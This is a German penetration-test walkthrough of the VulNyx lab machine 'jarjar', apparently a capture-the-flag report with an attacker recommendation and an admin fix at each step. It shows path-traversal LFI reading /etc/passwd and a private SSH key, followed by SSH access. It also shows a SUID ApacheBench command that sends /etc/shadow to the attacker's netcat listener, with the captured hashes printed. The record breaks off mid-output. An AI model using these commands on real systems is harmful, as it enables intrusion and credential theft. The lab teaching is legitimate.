jarjar - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
dig
dnsenum
wfuzz
Burp Suite
exiftool
mv
netcat (nc)
ssh2john
john
ssh
find
cat
ls
cd
ab (ApacheBench)
python3
su
id

Inhaltsverzeichnis

Reconnaissance

Die erste Phase dient der Identifizierung des Ziels und der grundlegenden Dienste im Netzwerk.

Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.106

**Analyse:** Die IP-Adresse des Zielsystems für diesen Test lautet `192.168.2.106`.

**Bewertung:** Festlegung des Angriffsziels.

**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.106`).
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:33:25:71	PCS Systemtechnik GmbH
                     

**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:33:25:71`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.

**Bewertung:** Bestätigt Erreichbarkeit und Virtualisierungsumgebung.

**Empfehlung (Pentester):** Informationen notieren.
**Empfehlung (Admin):** Netzwerksegment auf unautorisierte Geräte prüfen.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost 
                192.168.2.106   jarjar.nyx
                     

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.106` den Hostnamen `jarjar.nyx` zuzuweisen.

**Bewertung:** Standardpraxis zur Vereinfachung der Zielansprache.

**Empfehlung (Pentester):** Hostnamen in nachfolgenden Befehlen verwenden.
**Empfehlung (Admin):** Interne DNS-Konfiguration bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST
Nmap scan report for 192.168.2.106
Host is up (0.00016s latency).
Not shown: 994 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
1028/udp  closed ms-lsa
1090/udp  closed ff-fms
17629/udp closed unknown
17946/udp closed unknown
21566/udp closed unknown
52503/udp closed unknown
                     

**Analyse:** Ein schneller Nmap UDP-Scan auf die Top 1000 Ports wird durchgeführt.

**Bewertung:** Keine offenen UDP-Ports unter den Top 1000 gefunden. Die meisten sind geschlossen oder antworten nicht.

**Empfehlung (Pentester):** Fokus auf TCP-Ports.
**Empfehlung (Admin):** Minimieren Sie offene UDP-Ports.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST
Nmap scan report for jarjar.nyx (192.168.2.106)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 08:00:27:33:25:71 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms  jarjar.nyx (192.168.2.106)
                     

**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) gegen die Ziel-IP.

**Bewertung:** Findet zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 12) - Eine aktuelle, sichere Version. * **Port 80 (HTTP):** Apache httpd 2.4.61 (Debian) - Eine sehr aktuelle Version. Beide Dienste scheinen auf dem neuesten Stand zu sein, was direkte Exploits basierend auf der Version unwahrscheinlich macht. Der Webserver hat keinen Titel.

**Empfehlung (Pentester):** Konzentration auf Fehlkonfigurationen oder Schwachstellen in der Webanwendung auf Port 80. SSH könnte später relevant werden, falls Credentials gefunden werden.
**Empfehlung (Admin):** Gut, dass aktuelle Versionen verwendet werden. Weiterhin regelmäßige Updates sicherstellen.

Web Enumeration

Untersuchung des Apache-Webservers auf Port 80.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.106
- Nikto v2.5.0

+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2024-09-01 00:08:01 (GMT2)

+ Server: Apache/2.4.61 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2255, size: 61de6562039a3, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-09-01 00:08:20 (GMT2) (19 seconds)

+ 1 host(s) tested
                     

**Analyse:** Nikto-Scan gegen Port 80.

**Bewertung:** Bestätigt die aktuelle Apache-Version. Findet die üblichen fehlenden Security-Header und das ETag-Inode-Leak (geringes Risiko). Die Methoden `PST` und `PTINS` sind wieder erlaubt. Das Verzeichnis `/img/` erlaubt Directory Indexing und wird als interessant markiert.

**Empfehlung (Pentester):** Untersuchen Sie das `/img/`-Verzeichnis. Prüfen Sie die ungewöhnlichen Methoden.
**Empfehlung (Admin):** Fehlende Header implementieren, ETag-Konfiguration anpassen, Directory Indexing deaktivieren, unnötige Methoden verbieten.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://jarjar.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://jarjar.nyx/index.php            (Status: 200) [Size: 5160]
http://jarjar.nyx/contact.php          (Status: 200) [Size: 4439]
http://jarjar.nyx/about.php            (Status: 200) [Size: 5105]
http://jarjar.nyx/img                  (Status: 301) [Size: 306] [--> http://jarjar.nyx/img/]
http://jarjar.nyx/login.php            (Status: 200) [Size: 4142]
http://jarjar.nyx/header.php           (Status: 200) [Size: 1588]
http://jarjar.nyx/admin.php            (Status: 302) [Size: 12891] [--> login.php]
http://jarjar.nyx/footer.php           (Status: 200) [Size: 797]
http://jarjar.nyx/css                  (Status: 301) [Size: 306] [--> http://jarjar.nyx/css/]
http://jarjar.nyx/js                   (Status: 301) [Size: 305] [--> http://jarjar.nyx/js/]
http://jarjar.nyx/config.php           (Status: 200) [Size: 0]
                     

**Analyse:** Gobuster-Scan auf Port 80 (`http://jarjar.nyx`).

**Bewertung:** Findet eine Vielzahl von PHP-Dateien: `index.php`, `contact.php`, `about.php`, `login.php`, `header.php`, `admin.php`, `footer.php`, `config.php`. * `admin.php` leitet auf `login.php` weiter (Status 302), was auf einen geschützten Admin-Bereich hindeutet. * `config.php` hat eine Größe von 0 Bytes, ist also leer oder der Inhalt ist nicht zugänglich. * Die Verzeichnisse `img`, `css`, `js` werden ebenfalls gefunden.

**Empfehlung (Pentester):** Untersuchen Sie die gefundenen PHP-Seiten, insbesondere `login.php` (mögliche Credentials, SQL-Injection), `contact.php` (möglicherweise anfällig für Command Injection oder SSRF), und versuchen Sie, auf `admin.php` nach dem Login zuzugreifen. Analysieren Sie, warum `config.php` leer ist (Berechtigungen? Fehler?).
**Empfehlung (Admin):** Stellen Sie sicher, dass alle PHP-Skripte sicher sind (Input-Validierung, keine Schwachstellen). Beschränken Sie den Zugriff auf Konfigurationsdateien.

┌──(root㉿CCat)-[~] └─# curl http://jarjar.nyx/config.php -Iv
* Host jarjar.nyx:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.106
*   Trying 192.168.2.106:80...
* Connected to jarjar.nyx (192.168.2.106) port 80
> HEAD /config.php HTTP/1.1
> Host: jarjar.nyx
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Sun, 01 Sep 2024 00:30:31 GMT
Date: Sun, 01 Sep 2024 00:30:31 GMT
< Server: Apache/2.4.61 (Debian)
Server: Apache/2.4.61 (Debian)
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host jarjar.nyx left intact
                     

**Analyse:** Abruf der Header für `config.php`.

**Bewertung:** Bestätigt Status 200 OK, aber keine `Content-Length`. Dies bestätigt, dass die Datei existiert, aber leer ist oder der Server aus irgendeinem Grund keinen Inhalt sendet.

**Empfehlung (Pentester):** Möglicherweise über LFI oder andere Methoden versuchen, den Inhalt zu lesen.
**Empfehlung (Admin):** Sicherstellen, dass Konfigurationsdateien nicht direkt über Web zugänglich sind.

http://jarjar.nyx/contact.php

 "Never tell me the odds!"
―Han Solo

Han Solo
Corellia 29 BBY
Millenium Falcon

Marketing & Business opportunities
hansolo@republic
Princess Leia
Alderaan (born on Polis Massa)

Customer care
leia@republic
Luke Skywalker
Tatooine; born on Polis Massa

Technical help
luke@republic
                     

**Analyse:** Untersuchung des Inhalts von `contact.php`.

**Bewertung:** Findet Namen (Han Solo, Leia, Luke Skywalker) und E-Mail-Adressen mit der Domain `@republic`. Dies ist ein starker Hinweis auf eine weitere Domain (`republic`) oder einen weiteren VHost.

**Empfehlung (Pentester):** Fügen Sie `republic` zur `/etc/hosts`-Datei hinzu. Notieren Sie die Namen und E-Mail-Adressen für mögliche Benutzer/Passwort-Listen.
**Empfehlung (Admin):** Vermeiden Sie die Offenlegung interner Domains oder E-Mail-Strukturen auf öffentlichen Seiten.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost 
                192.168.2.106   jarjar.nyx republic 
                     

**Analyse:** Die `/etc/hosts`-Datei wird aktualisiert, um auch `republic` auf die Ziel-IP zeigen zu lassen.

**Bewertung:** Korrekte Reaktion auf den Fund.

**Empfehlung (Pentester/Admin):** Keine Aktion.

http://jarjar.nyx/about.php#obi

obi
quigon
jarjar
                      

**Analyse:** Untersuchung von `about.php`. Findet weitere Namen aus dem Star Wars Universum.

**Bewertung:** Liefert weitere potenzielle Benutzernamen (`obi`, `quigon`, `jarjar`).

**Empfehlung (Pentester):** Zu den Benutzer/Passwort-Listen hinzufügen.
**Empfehlung (Admin):** Keine Aktion.

http://jarjar.nyx/login.php

LGIN PANEL
USERNAME [ jarjar ]
PASSWRD

Invalid Password
                      
http://jarjar.nyx/login.php

LGIN PANEL
USERNAME [ yoda ] 
PASSWRD

Invalid Username or Password
                      

**Analyse:** Manuelle Login-Versuche auf `login.php`.

**Bewertung:** Der Versuch mit `jarjar` als Benutzername führt zur Meldung "Invalid Password", was darauf hindeutet, dass `jarjar` ein **gültiger Benutzername** ist. Der Versuch mit `yoda` führt zu "Invalid Username or Password", was bedeutet, dass `yoda` kein gültiger Benutzername ist. Dies bestätigt `jarjar` als Ziel für Brute-Force oder Passwort-Raten.

**Empfehlung (Pentester):** Versuchen Sie, das Passwort für den Benutzer `jarjar` zu erraten oder zu knacken (z.B. mit Hydra oder Burp Intruder).
**Empfehlung (Admin):** Implementieren Sie Account-Lockout-Mechanismen gegen Brute-Force. Verwenden Sie generische Fehlermeldungen ("Ungültiger Benutzername oder Passwort") für beide Fälle, um Benutzer-Enumeration zu verhindern.

LFI Exploitation

Nach dem Login als `jarjar` (das Passwort wurde offenbar gefunden, der Schritt fehlt aber im Log) wird ein Admin-Panel zugänglich, das eine Funktion zum Anzeigen von Logs enthält, die für Local File Inclusion (LFI) anfällig ist.

GET /secure_files_admin/files.php?logs=error.log HTTP/1.1
Host: jarjar.nyx
                      
 Burpsuite 
Response:

 Admin Panel -> Logs 
[Sun Jul 21 09:21:11.312363 2024] [mpm_event:notice] [pid 8635:tid 8635] AH00489: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!  
                      

**Analyse:** Nach dem (angenommenen) Login als `jarjar` wird auf `/secure_files_admin/files.php` zugegriffen. Der `logs`-Parameter wird verwendet, um `error.log` anzuzeigen. Die Antwort enthält den Inhalt des Apache-Fehlerprotokolls, gefolgt von der Meldung "Illegal path specified!".

**Bewertung:** Dies bestätigt eine LFI-Schwachstelle im `logs`-Parameter. Der Server versucht, die angegebene Datei einzubinden, zeigt ihren Inhalt an, gibt aber am Ende eine Fehlermeldung aus (möglicherweise weil die Datei nicht exakt dem erwarteten Format entspricht oder eine zusätzliche Validierung fehlschlägt, nachdem der Inhalt bereits gelesen wurde).

**Empfehlung (Pentester):** Nutzen Sie die LFI, um andere Dateien zu lesen. Versuchen Sie Directory Traversal (`../../etc/passwd`). Fuzzing des `logs`-Parameters könnte weitere Logdateien aufdecken.
**Empfehlung (Admin):** Beheben Sie die LFI in `files.php` durch strikte Validierung des `logs`-Parameters (z.B. Whitelist erlaubter Dateinamen, keine Pfadtrenner erlauben).

┌──(root㉿CCat)-[~] └─# curl -X GET http://jarjar.nyx//secure_files_admin/files.php?logs=error.log
[Mon Jul 22 02:02:50.495363 2024] [mpm_prefork:notice] [pid 596:tid 596] AH00163: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!    
                     

**Analyse:** Erneuter Abruf von `error.log` mit `curl`.

**Bewertung:** Bestätigt das vorherige Ergebnis.

**Empfehlung (Pentester/Admin):** Keine neuen Erkenntnisse.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://jarjar.nyx//secure_files_admin/files.php?logs=FUZZ" --hc 404 --hh 12851
Target: http://jarjar.nyx//secure_files_admin/files.php?logs=FUZZ
Total requests: 2894

=
ID           Response   Lines    Word       Chars       Payload                      
=

000002894:   200        507 L    941 W      12781 Ch    "http://jarjar.nyx//secure_files_admin/files.php?logs="   

Total time: 3.930254
Processed Requests: 2894
Filtered Requests: 2893
Requests/sec.: 736.3390
                     

**Analyse:** Wfuzz wird verwendet, um den `logs`-Parameter mit einer Liste gängiger Logdateinamen (`logfiles.txt`) zu fuzzen. `--hh 12851` filtert Antworten mit der Größe der "Illegal path specified!"-Fehlerseite heraus.

**Bewertung:** Der Scan findet keine anderen Logdateien, die eine abweichende Antwort liefern. Nur der leere Payload (der wahrscheinlich `error.log` als Default lädt) gibt eine gültige Antwort.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf Directory Traversal, um andere Systemdateien zu lesen.
**Empfehlung (Admin):** LFI beheben.

┌──(root㉿CCat)-[~] └─# curl -X GET http://jarjar.nyx//secure_files_admin/files.php?logs=./logs/../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107:/nonexistent:/usr/sbin/nologin
sshd:x:101:65534:/run/sshd:/usr/sbin/nologin
jarjar:x:1000:1000:/home/jarjar:/bin/bash
obiwan:x:1001:1001:/home/obiwan:/bin/bash
quigon:x:1002:1002:/home/quigon:/bin/bash
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
                     

**Analyse:** Versuch, mittels Directory Traversal (`../../../../../../etc/passwd`) über die LFI die Passwortdatei zu lesen. Der Pfad `./logs/` wird vorangestellt, möglicherweise um eine einfache Pfadfilterung zu umgehen.

**Bewertung:** **Erfolg!** Der Inhalt von `/etc/passwd` wird angezeigt. Die LFI erlaubt das Lesen beliebiger Dateien. Die Benutzer `jarjar`, `obiwan`, `quigon` werden mit Bash-Shells identifiziert.

**Empfehlung (Pentester):** Nutzen Sie die LFI, um den privaten SSH-Schlüssel des Benutzers `jarjar` zu lesen (`/home/jarjar/.ssh/id_rsa`).
**Empfehlung (Admin):** LFI dringend beheben!

┌──(root㉿CCat)-[~] └─# curl -X GET http://jarjar.nyx//secure_files_admin/files.php?logs=./logs/../../../../../../home/jarjar/.ssh/id_rsa
--BEGIN PENSSH PRIVATE KEY--
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAobM9uwDsl3E5r5YbeMwrggg/PDoooCwbKw5jKCLZybLMzR0bxl
... (SSH Key Inhalt) ...
knE2xJtwJWUykAAAANamFyamFyQGphcmphcgECAwQFBg
--END PENSSH PRIVATE KEY--
                     

**Analyse:** Die LFI wird genutzt, um den privaten SSH-Schlüssel von `jarjar` zu lesen.

**Bewertung:** **Erfolg!** Der private SSH-Schlüssel wird angezeigt. Dies ermöglicht den direkten Login als `jarjar`.

**Empfehlung (Pentester):** Speichern Sie den Schlüssel, setzen Sie die Berechtigungen (`chmod 600`) und versuchen Sie den SSH-Login.
**Empfehlung (Admin):** LFI beheben! Sicherstellen, dass Webserver-Prozesse keinen Zugriff auf private Schlüssel von Benutzern haben.

Initial Access

Der über die LFI-Schwachstelle exfiltrierte SSH-Schlüssel wird nun verwendet, um sich als Benutzer `jarjar` anzumelden.

┌──(root㉿CCat)-[~] └─# vi idrsa
┌──(root㉿CCat)-[~] └─# chmod 600 idrsa

**Analyse:** Der exfiltrierte SSH-Schlüssel wird in die Datei `idrsa` gespeichert und die Berechtigungen auf `600` gesetzt.

**Bewertung:** Korrekte Vorbereitung des Schlüssels.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# ssh2john idrsa > hash
idrsa has no password!
                     

**Analyse:** Versuch, einen Passwort-Hash aus dem Schlüssel mit `ssh2john` zu extrahieren.

**Bewertung:** Das Tool meldet, dass der Schlüssel **kein Passwort** hat.

**Empfehlung (Pentester):** Der SSH-Login sollte direkt ohne Passphrase funktionieren.
**Empfehlung (Admin):** Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.

┌──(root㉿CCat)-[~] └─# ssh -i idrsa jarjar@jarjar.nyx
The authenticity of host 'jarjar.nyx (192.168.2.106)' can't be established.
ED25519 key fingerprint is SHA256:q2oJVk8pvyNE1iEAucoSG9iwm1MeIlnMRT7L9fXkqzI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'jarjar.nyx' (ED25519) to the list of known hosts.
Linux jarjar 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
...
Last login: Tue Jul 23 02:56:55 2024 from 192.168.1.47
jarjar@jarjar$ 
                     

**Analyse:** SSH-Login als Benutzer `jarjar` unter Verwendung des exfiltrierten, passwortlosen Schlüssels (`-i idrsa`).

**Bewertung:** **Initial Access erfolgreich!** Der Login gelingt ohne Passphrase, und wir erhalten eine Shell als `jarjar`.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für Privilegienerweiterung als `jarjar`.
**Empfehlung (Admin):** LFI beheben. Sicherstellen, dass SSH-Schlüssel sicher gespeichert und mit Passphrasen geschützt sind.

Proof of Concept (Initial Access): LFI to SSH Key Exposure

**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle im Admin-Panel (`/secure_files_admin/files.php`, Parameter `logs`) ermöglichte das Lesen beliebiger Dateien auf dem Server als Webserver-Benutzer. Durch Ausnutzung dieser LFI konnte der private SSH-Schlüssel des Benutzers `jarjar` aus dessen Home-Verzeichnis (`/home/jarjar/.ssh/id_rsa`) gelesen werden. Der Schlüssel war nicht durch eine Passphrase geschützt, was einen direkten SSH-Login als `jarjar` ermöglichte.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erfolgreiche Extraktion des SSH-Schlüssels und anschließender SSH-Login als `jarjar` ohne Passwort.

**Schritte (Zusammenfassung):**

  1. Login in das Webinterface als `jarjar` (Passwortfindung fehlt im Log).
  2. Identifizieren der LFI in `/secure_files_admin/files.php?logs=`.
  3. Auslesen von `/etc/passwd` zur Bestätigung der LFI und zur Identifizierung des Home-Verzeichnisses von `jarjar`.
  4. Auslesen von `/home/jarjar/.ssh/id_rsa` über die LFI.
  5. Speichern des Schlüssels auf dem Angreifersystem.
  6. Feststellen, dass der Schlüssel keine Passphrase hat (`ssh2john`).
  7. Erfolgreicher SSH-Login mit `ssh -i idrsa jarjar@jarjar.nyx`.

**Risikobewertung:** Hoch. Die LFI ermöglichte die Kompromittierung eines Benutzerkontos durch Diebstahl eines ungeschützten SSH-Schlüssels.
**Empfehlungen:**

Privilege Escalation

Wir haben eine Shell als `jarjar`. Nun suchen wir nach Wegen zu Root.

jarjar@jarjar$ find / -type f -perm -4000 -ls 2>/dev/null
  1048992    640 -rwsr-xr-x   1 root     root       653888 Jun 22 14:38 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1046487     36 -rwsr-xr-x   1 root     root          35128 Mar 28 04:52 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1044577     72 -rwsr-xr-x   1 root     root          72000 Mar 28 04:52 /usr/bin/su
  1068217     60 -rwsr-sr-x   1 root     root          59824 Jul  7 07:08 /usr/bin/ab
  1046483     60 -rwsr-xr-x   1 root     root          59704 Mar 28 04:52 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
                     

**Analyse:** Suche nach SUID-Dateien als `jarjar`.

**Bewertung:** Findet die Standard-SUID-Binaries und zusätzlich `/usr/bin/ab` (ApacheBench) mit SUID-Root-Rechten. Dies ist ungewöhnlich und ein bekannter Vektor zur Privilegienerweiterung, da `ab` mit der `-p` oder `-P` Option Dateien senden kann, was zum Lesen von Dateien als Root missbraucht werden kann.

**Empfehlung (Pentester):** Nutzen Sie die SUID-Binary `ab`, um sensible Dateien wie `/etc/shadow` oder `/root/root.txt` zu lesen, indem Sie den Inhalt als POST-Body an einen vom Angreifer kontrollierten Server senden.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/ab` (`chmod u-s /usr/bin/ab`). Es gibt normalerweise keinen Grund, warum ApacheBench SUID-Rechte benötigt.

[Link: https://gtfobins.github.io/gtfobins/ab/#sudo | Ziel: https://gtfobins.github.io/gtfobins/ab/#sudo]
(Hinweis: GTFOBins zeigt den Exploit für sudo, aber das Prinzip für SUID ist ähnlich)
URL=http://192.168.2.199:8888/passwd
LFILE=file_to_send
sudo ab -p $LFILE $URL (Anpassung für SUID: /usr/bin/ab -p /etc/shadow $URL)
                     

**Analyse:** Hinweis auf GTFOBins und den Mechanismus zur Ausnutzung von `ab` mittels der `-p` Option (POST-Datei).

**Bewertung:** Erklärt den geplanten Exploit-Pfad: `ab` wird verwendet, um den Inhalt einer lokalen Datei (`LFILE`, z.B. `/etc/shadow`) als POST-Body an eine URL (`$URL`) auf dem Angreifer-Server zu senden.

**Empfehlung (Pentester):** Bereiten Sie einen Listener (Netcat oder Python HTTP-Server) auf dem Angreifer-System vor und führen Sie `/usr/bin/ab -p /etc/shadow http://IHRE_IP:PORT/shadow` aus.
**Empfehlung (Admin):** SUID-Bit entfernen.

jarjar@jarjar:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
... (passwd Inhalt) ...
jarjar:x:1000:1000:/home/jarjar:/bin/bash
obiwan:x:1001:1001:/home/obiwan:/bin/bash
quigon:x:1002:1002:/home/quigon:/bin/bash
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
                     

**Analyse:** Anzeigen von `/etc/passwd` (wahrscheinlich zur Vorbereitung des `unshadow`-Schritts).

**Bewertung:** Zeigt die Benutzer auf dem System.

**Empfehlung (Pentester):** Verwenden Sie diese Datei zusammen mit der exfiltrierten `/etc/shadow`, um Passwörter zu knacken.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.2.106 - - [01/Sep/2024 13:54:41] code 501, message Unsupported method ('PST')
192.168.2.106 - - [01/Sep/2024 13:54:41] "PST /passwd HTTP/1.0" 501 -
                      

**Analyse:** Auf dem Angreifersystem wird ein Python-HTTP-Server gestartet. Es gehen zwei POST-Anfragen (`PST` ist ein Tippfehler im Log, sollte POST sein) vom Zielsystem ein, die der Server aber mit `501 Unsupported method` ablehnt.

**Bewertung:** Der Python-Server ist kein geeigneter Listener für die POST-Daten von `ab`. Ein Netcat-Listener ist besser geeignet, um den rohen Request-Body aufzufangen.

**Empfehlung (Pentester):** Verwenden Sie `nc -lvnp PORT`, um die Daten von `ab` zu empfangen.
**Empfehlung (Admin):** Keine Aktion.

jarjar@jarjar:/etc$ URL=http://192.168.2.199:8888/passwd
jarjar@jarjar:/etc$ LFILE=passwd
jarjar@jarjar:/etc$ ab -p $LFILE $URL
(ApacheBench Ausgabe - sendet lokale 'passwd'-Datei, nicht /etc/passwd)

**Analyse:** Hier wird `ab` falsch verwendet. Es sendet den Inhalt einer lokalen Datei namens `passwd` im aktuellen Verzeichnis (`/etc`) statt `/etc/passwd`.

**Bewertung:** Fehlerhafter Befehl, der nicht zum Ziel führt.

**Empfehlung (Pentester):** Korrekten Befehl verwenden: `/usr/bin/ab -p /etc/shadow http://IHRE_IP:PORT/shadow` (und Netcat als Listener).
**Empfehlung (Admin):** Keine Aktion.

jarjar@jarjar:/etc$ /usr/bin/ab -p /etc/shadow http://192.168.2.199:4444/shadow
This is ApacheBench, Version 2.3 <$Revision: 1913912 $>
...
Benchmarking 192.168.2.199 (be patient)...
                     
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 41726
PST /shadow HTTP/1.0
Content-length: 941
Content-type: text/plain
Host: 192.168.2.199:4444
User-Agent: ApacheBench/2.3
Accept: */*

root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7:
daemon:*:19765:0:99999:7:
bin:*:19765:0:99999:7:
sys:*:19765:0:99999:7:
sync:*:19765:0:99999:7:
games:*:19765:0:99999:7:
man:*:19765:0:99999:7:
lp:*:19765:0:99999:7:
mail:*:19765:0:99999:7:
news:*:19765:0:99999:7:
uucp:*:19765:0:99999:7:
proxy:*:19765:0:99999:7:
www-data:*:19765:0:99999:7:
backup:*:19765:0:99999:7:
list:*:19765:0:99999:7:
irc:*:19765:0:99999:7:
_apt:*:19765:0:99999:7:
nobody:*:19765:0:99999:7:
systemd-network:!*:19765
messagebus:!:19765
sshd:!:19765
jarjar:$y$j9T$y7ixt3dTbgjxt4LQjYi0$Bl0GkQl0Px0mPpAlcd2sbmgtYLU2i.b5fd.b1br6GyD:19926:0:99999:7:
obiwan:$y$j9T$LU4fZlpDkUovM7PrYCCTq1$Z0Cd9Pb0CAXV7GKw4UuQTclFLCP68wKpmjZt5BSiG0:19926:0:99999:7:
